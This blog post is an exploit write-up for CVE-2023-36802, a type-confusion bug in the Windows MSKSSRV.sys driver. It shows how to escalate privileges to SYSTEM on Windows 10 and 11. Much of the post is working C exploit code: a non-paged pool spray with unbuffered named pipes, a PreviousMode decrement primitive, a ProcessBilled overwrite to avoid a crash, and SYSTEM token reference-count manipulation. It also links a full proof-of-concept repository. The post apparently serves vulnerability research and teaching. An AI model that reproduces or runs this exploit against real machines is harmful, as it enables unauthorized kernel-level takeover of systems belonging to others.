Introduction
In this blog post, I'm going to show you how I used the CVE-2023-36802 vulnerability in MSSKSRV.sys to elevate privileges on a Windows 11 system. I wrote my own proof-of-concept, taking inspiration from @benoitsevens of Google Project Zero, but making some changes from the original exploit by @chompie1337.
This method includes filling the non-paged pool with unbuffered named pipe entries, using a primitive in a call to ObfDereferenceObject
to decrement PreviousMode
, creating a separate thread for the decrement to avoid a blue screen of death, and fixing the reference count of the stolen SYSTEM token. I tested this on Windows 10 21H2 and Windows 11 22H2, but keep in mind that PreviousMode
attacks might not work on future/insider builds.
Spraying the Pool with Unbuffered Named Pipes
Rather than focusing on the root cause of the vulnerability, I will focus only on the necessary information needed to understand the method used for the exploit. You can refer to the original work listed above.
Context registration objects are only 0x78
bytes in size, but the stream registration object is 0x1d8
in size. The vulnerable driver suffers from a type confusion vulnerability when allocating a context registration object and then accessing the object as a stream registration object.
Context objects are tagged as Creg
in the non-paged kernel pool when allocated and have a total size of 0x90
including the pool header.
Since stream registration objects are larger than context registration objects, the goal is to control the adjacent memory after the Creg
object when FSStreamReg::PublishRx
is called. The function will expect a stream object and manipulate its members as if it is indeed a stream object.
Armed with this knowledge, we can spray the heap with named piped entries of a similar size to the context registration. This will allow us to control the data that comes after the context registration object. Instead of spraying with regular named pipes, I use a slightly different variation of a named pipe that uses unbuffered entries.
Unbuffered entries remove the 0x30
sized DATA_QUEUE_ENTRY
header of a standard named pipe allocation and only has a 0x10
sized pool header. We can create named pipes with unbuffered entries by calling NtFsControlFile
on the pipes and passing 0x119ff8
as the FSCTL_CODE
:
#define FSCTL_CODE 0x119ff8
#define SPRAY_SIZE 0x10000
#define PIPESPRAY_SIZE 0x80
#define PAYLOAD_SIZE 0x80
...
void PipeSpray(void* payload, int size) {
IO_STATUS_BLOCK isb;
OVERLAPPED ol;
for (int i = 0; i < SPRAY_SIZE; i++) {
phPipeHandleArray[i] = CreateNamedPipe(L"\\\\.\\pipe\\testpipe", PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, size, size, 0, 0);
if (phPipeHandleArray[i] == INVALID_HANDLE_VALUE) {
printf("[!] Error while creating the named pipe: %d\n", GetLastError());
exit(1);
}
memset(&ol, 0, sizeof(ol));
ol.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
if (!ol.hEvent) {
printf("[!] Error creating event: %d\n", GetLastError());
exit(1);
}
phFileArray[i] = CreateFile(L"\\\\.\\pipe\\testpipe", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);
if (phFileArray[i] == INVALID_HANDLE_VALUE) {
printf("[!] Error while opening the named pipe: %d\n", GetLastError());
exit(1);
}
NTSTATUS ret = pNtFsControlFile(phPipeHandleArray[i], 0, 0, 0, &isb, FSCTL_CODE, payload, size, NULL, 0);
if (ret == STATUS_PENDING) {
DWORD bytesTransferred;
if (!GetOverlappedResult(phFileArray[i], &ol, &bytesTransferred, TRUE)) {
printf("[!] Overlapped operation failed: %d\n", GetLastError());
exit(1);
}
}
else if (ret != 0) {
printf("[!] Error while calling NtFsControlFile: %p\n", ret);
exit(1);
}
CloseHandle(ol.hEvent);
}
}
...
void *spray_payload = malloc(PAYLOAD_SIZE);
// Spray the pool with named pipes
printf("[+] Spraying the pool with pipes...\n");
memset(spray_payload, 0x41, PAYLOAD_SIZE);
PipeSpray(spray_payload, PIPESPRAY_SIZE);
// Create holes in the pool
printf("[+] Creating holes in the pool...\n");
CreateHoles();
// Allocate context registration
printf("[+] Allocating context registration...\n");
AllocateContext();
// Fill holes with our payload
printf("[+] Re-filling holes...\n");
FillHoles(spray_payload, PIPESPRAY_SIZE);
We spray with a pipe size of 0x80
which will be a pool size of 0x90
when the pool header is added, make some "holes" in the allocations by freeing every fourth pipe allocation, allocate the registration context which should be allocated in the same pool page as our pipe allocations and then re-spray the pool with more pipes to fill any remaining holes. The pool should resemble the following if successful:
We now control the data following the context registration object, with the exception of the pool headers.
Decrement Primitive
Within the FSStreamReg::PublishRx
function, there are two calls to ObfDereferenceObject
. The first call passes the address at offset 0x38
of the vulnerable context register object which we do not control and the second call passes the address at offset 0x1c8
which we do control.
The ObfDereferenceObject
function which is implemented in ntoskrnl.exe takes an address as an argument and decrements the value stored at the address minus 0x30
:
Using this primitive we can place the address of the main threads PreviousMode
pointer in the controlled address argument plus 0x30
and the call to ObfDereferenceObject
will decrement the value from '1' to '0', thus giving us the ability to read and write in kernel space and overwrite our token with the SYSTEM token.
This all must be done in a separate thread and placed in a loop to avoid causing a blue screen of death due to a call to KeSetEvent
at the end of FSStreamReg::PublishRx
.
Avoiding the crash
In order to avoid crashing the system, we place the decrementing thread in a loop by ensuring the call to FSFrameMdlList::MoveNext
points to a self referencing user controlled buffer.
Once the PreviousMode
bit has been flipped we can proceed to ensure that KeSetEvent
is not reached by patching the ProcessBilled
pool header entry to NULL which is at offset 0x1a8
of the context object. We must save the original value and replace it once the exploit has finished.
From here we can break out of the loop by editing the user mode buffer of the self referencing object and setting it to NULL. The thread will now safely exit.
...
PLONGLONG pProcessBilled = pCreg + 0x1a8;
// Read process billed value
memset(read_qword, 0x00, sizeof(ULONGLONG));
if (!ReadProcessMemory(GetCurrentProcess(), (LPVOID)((ULONGLONG)pProcessBilled), read_qword, sizeof(ULONGLONG), &read_bytes))
{
printf("[!] Error while calling ReadProcessMemory(): %d\n", GetLastError());
}
PULONGLONG pProcessBilledValue = (PULONGLONG)((ULONG_PTR*)read_qword);
ULONGLONG ProcessBilledValue = (ULONGLONG)*pProcessBilledValue;
// Overwrite process billed value with NULL
printf("[+] Overwritting process billed value...\n");
ULONGLONG nullQWORD = (ULONGLONG)0x0000000000000000;
pNtWriteVirtualMemory(GetCurrentProcess(), (LPVOID)((ULONGLONG)pProcessBilled), &nullQWORD, sizeof(ULONGLONG), NULL);
Sleep(1000);
// Break out of the trigger thread
buf[0] = 0x0000000000000000;
...
Incrementing the Token Reference Count
The last step of this exploit is to increment the reference count of the SYSTEM token to a very large number which will avoid a crash when the program exits and to restore PreviousMode
.
// Increment Ref count of SYSTEM EPROCESS token
printf("[+] Incrementing ref count of EPROCESS token...\n");
ULONGLONG refCount = ourEprocess-0x30;
ULONGLONG refCountValue = (ULONGLONG)0x4141414141414141;
pNtWriteVirtualMemory(GetCurrentProcess(), (LPVOID)((ULONGLONG)refCount), &refCountValue, sizeof(ULONGLONG), NULL);
Sleep(2000);
// Restore PreviousMode
printf("[+] Restoring PreviousMode...\n");
memset(read_qword, 0x00, sizeof(ULONGLONG));
if (!ReadProcessMemory(GetCurrentProcess(), (LPVOID)((ULONGLONG)PreviousMode), read_qword, sizeof(ULONGLONG), &read_bytes))
{
printf("[!] Error while calling ReadProcessMemory(): %d\n", GetLastError());
}
PULONGLONG kThreadPM = (PULONGLONG)((ULONG_PTR*)read_qword);
ULONGLONG write_what = (ULONGLONG)*kThreadPM ^ 1 << 0;
pNtWriteVirtualMemory(GetCurrentProcess(), (LPVOID)((ULONGLONG)PreviousMode), &write_what, sizeof(ULONGLONG), NULL);
Conclusion
In conclusion, recreating this method of exploitation was a great refresher on Windows kernel exploitation. The process of spraying the non-paged pool with unbuffered named pipe entries, using a primitive in a call to ObfDereferenceObject
to decrement PreviousMode
, and creating a separate thread for the decrement to avoid a BSOD was fascinating. Additionally, fixing the reference count of the stolen SYSTEM token was a crucial step to avoid crashes. I hope this write-up was helpful for others in understanding a variation of exploiting a modern Windows kernel driver.
Exploit code: x0rb3l/CVE-2023-36802-MSKSSRV-LPE: PoC for CVE-2023-36802 Microsoft Kernel Streaming Service Proxy (github.com)